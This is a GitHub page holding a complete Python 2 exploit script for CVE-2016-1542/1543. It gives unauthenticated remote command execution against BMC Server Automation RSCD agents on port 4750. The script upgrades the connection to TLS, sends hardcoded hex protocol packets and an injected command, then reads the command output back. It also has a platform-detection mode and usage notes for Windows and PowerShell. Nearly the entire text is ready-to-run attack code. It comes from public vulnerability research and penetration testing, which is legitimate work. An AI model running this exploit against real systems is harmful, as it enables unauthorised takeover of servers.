Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
211 lines (185 sloc) 7.16 KB
############################################################
# BMC-RSCD-RCE-CVE-2016-1542.py
#
# Update 12/09/2018: I turned this into a Metasploit module
# which was merged into Metasploit on 31/01/2018. The
# module is:
#
# exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
#
# Github link:
#
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb
############################################################
# Unauthenticated arbitrary command execution exploit for
# BMC Server Automation versions affected by CVE-2016-1542
# and CVE-2016-1543.
#
# Produced by @NickstaDB, based on the work of @yaole0/Insinuator:
# * https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/
# * https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
# Along with the Nessus plugin that targets the NSH interface/protocol (thanks for the packets!):
# * https://www.tenable.com/plugins/index.php?view=single&id=91947
# See also:
# * https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/
# * https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/
############################################################
# Notes:
# * On Windows, commands may need to be prefixed with "cmd /c "
# * Commands can be chained using shell operators, e.g. cmd /c "cd foo & dir"
############################################################
import socket
import ssl
import struct
import sys
####################
# Return the given number as a hex string, padded with zeros to 8 characters
####################
def padNumber(num):
out = hex(num)[2:]
if len(out) < 8:
out = ("0" * (8 - len(out))) + out
return out
####################
# Generate a payload packet to execute the given command
####################
def createCmdPayload(thecmd):
#Encode backslashes
thecmd = thecmd.replace("\\", "\xc1\xdc")
#Encode double quotes, unless powershell is being used
if thecmd.startswith("powershell") == False:
thecmd = thecmd.replace("\"", "\xc2\x68")
#Build the payload packet
payload = padNumber(len(thecmd) + 32) + "303030303030313062373b303b323b6361653b6461343b30".decode("hex") + padNumber(len(thecmd)) + thecmd
#Prefix with the packet length field and return
return struct.pack(">I", len(payload)) + payload
####################
# Detect the target platform
####################
def getTargetPlatform(host):
#Connect
sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sck.connect((host, 4750))
sck.send("TLS")
ssck = ssl.wrap_socket(sck, cert_reqs = ssl.CERT_NONE)
#Send nexec request and ignore the response
ssck.send("0000005e3030303030303536303030303030313136353b303b33353b3838303b3838303b303030303030303335303b303b373b486920424d43213b393b6167656e74696e666f3b2d3b2d3b303b2d3b313b313b373b486920424d43213b5554462d38".decode("hex"))
ssck.read(4096)
#Get the platform
ssck.send("000000323030303030303261303030303030313036343b303b323b3666373b3838303b30303030303030303234313030303030303030".decode("hex"))
res = ssck.recv(4096)
#Close the connection
sck.close()
#Return the platform
if len(res.split(";")) >= 8:
return res.split(";")[4]
else:
print "[-] Unexpected platform response: " + res.encode("hex")
print "[~] Response text: " + getPrintableChars(res)
return res
####################
# Read, extract, and print command output
####################
def readCmdOutput(ssck):
cmdOutput = ""
responseCompleted = False
#Read the entire response
while responseCompleted == False:
#Read a response chunk
chunkLen = struct.unpack(">I", ssck.read(4))[0]
chunk = ""
while len(chunk) < chunkLen:
chunk += ssck.read(4096)
#Check for the "end of output" chunk
if chunkLen == 18 and chunk.startswith("3030303030303061303030303030303278".decode("hex")):
#Done reading the command output
responseCompleted = True
else:
#Append to the command output buffer
if cmdOutput == "":
#Keep the first output chunk as-is
cmdOutput += chunk
#If the command failed, we're done
if int(cmdOutput[8:16], 16) != 1:
responseCompleted = True
else:
#After the first output buffer the format changes, extract the command output only
cmdOutput += chunk[17:]
#Check for a successful response
if int(cmdOutput[8:16], 16) == 1:
#Looks successful, print output
print "[+] Success, command output:"
print cmdOutput[26:]
else:
#Possible failure, print error output
errOutLen = int(cmdOutput[8:16], 16) - 1
print "[-] Command execution failed (does the command exist?), output:"
print cmdOutput[17:17 + errOutLen]
####################
# Exploit the target
####################
def exploitTarget(host, cmd):
#Connect
print "[+] Connecting to target"
sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sck.connect((host, 4750))
#Upgrade connection
print "[+] Connected, upgrading to TLS connection"
sck.send("TLS")
ssck = ssl.wrap_socket(sck, cert_reqs = ssl.CERT_NONE)
print "[+] Connection upgraded, sending nexec request"
ssck.send("0000005a3030303030303532303030303030313136353b303b33313b6461343b6461343b303030303030303331303b303b373b486920424d43213b353b6e657865633b2d3b2d3b303b2d3b313b313b373b486920424d43213b5554462d38".decode("hex"))
ssck.read(4096)
#Send payload
print "[+] Sent, sending payload"
ssck.send(createCmdPayload(cmd))
#Finish the request
print "[+] Sent, finishing nexec request"
ssck.send("00000022303030303030316130303030303031327738303b34313b33393035383b3234383531".decode("hex"))
ssck.send("0000001230303030303030613030303030303032657f".decode("hex"))
ssck.send("00000012303030303030306130303030303030326903".decode("hex"))
ssck.send("00000012303030303030306130303030303030327431".decode("hex"))
ssck.send("0000001c303030303030313430303030303030637738303b34313b38303b3431".decode("hex"))
ssck.send("00000011303030303030303930303030303030317a".decode("hex"))
#Done, read the response
print "[+] Done, getting response"
readCmdOutput(ssck)
#Close the socket
sck.close()
####################
# "Main"
####################
#Default options
targetHost = ""
targetCmd = ""
#Validate command line and grab params
if len(sys.argv) == 2:
targetHost = sys.argv[1]
elif len(sys.argv) == 3:
targetHost = sys.argv[1]
targetCmd = sys.argv[2]
else:
print "BMC-RSCD-RCE-CVE-2016-1542.py"
print "Usage:"
print " <host> <command> Execute the given command against the target"
print " <host> Prompt for command to execute against the target"
print " <host> /getplatform Get the target platform"
print "Notes:"
print " When targeting Windows, non-powershell commands may need to be prefixed with"
print " 'cmd /c '."
print " When targeting Windows, non-powershell command lines have an ~8,000"
print " character limit, however, powershell is executed differently and allows"
print " ~32,000 characters."
print ""
sys.exit()
#Prompt for the command to execute if necessary
while targetCmd == "":
targetCmd = raw_input("Command: ")
#Launch the exploit
if targetCmd.lower() == "/getplatform":
print "[+] Attempting to identify platform of: " + targetHost
print getTargetPlatform(targetHost)
else:
print "[+] Target: " + targetHost
print "[+] Command: " + targetCmd
exploitTarget(targetHost, targetCmd)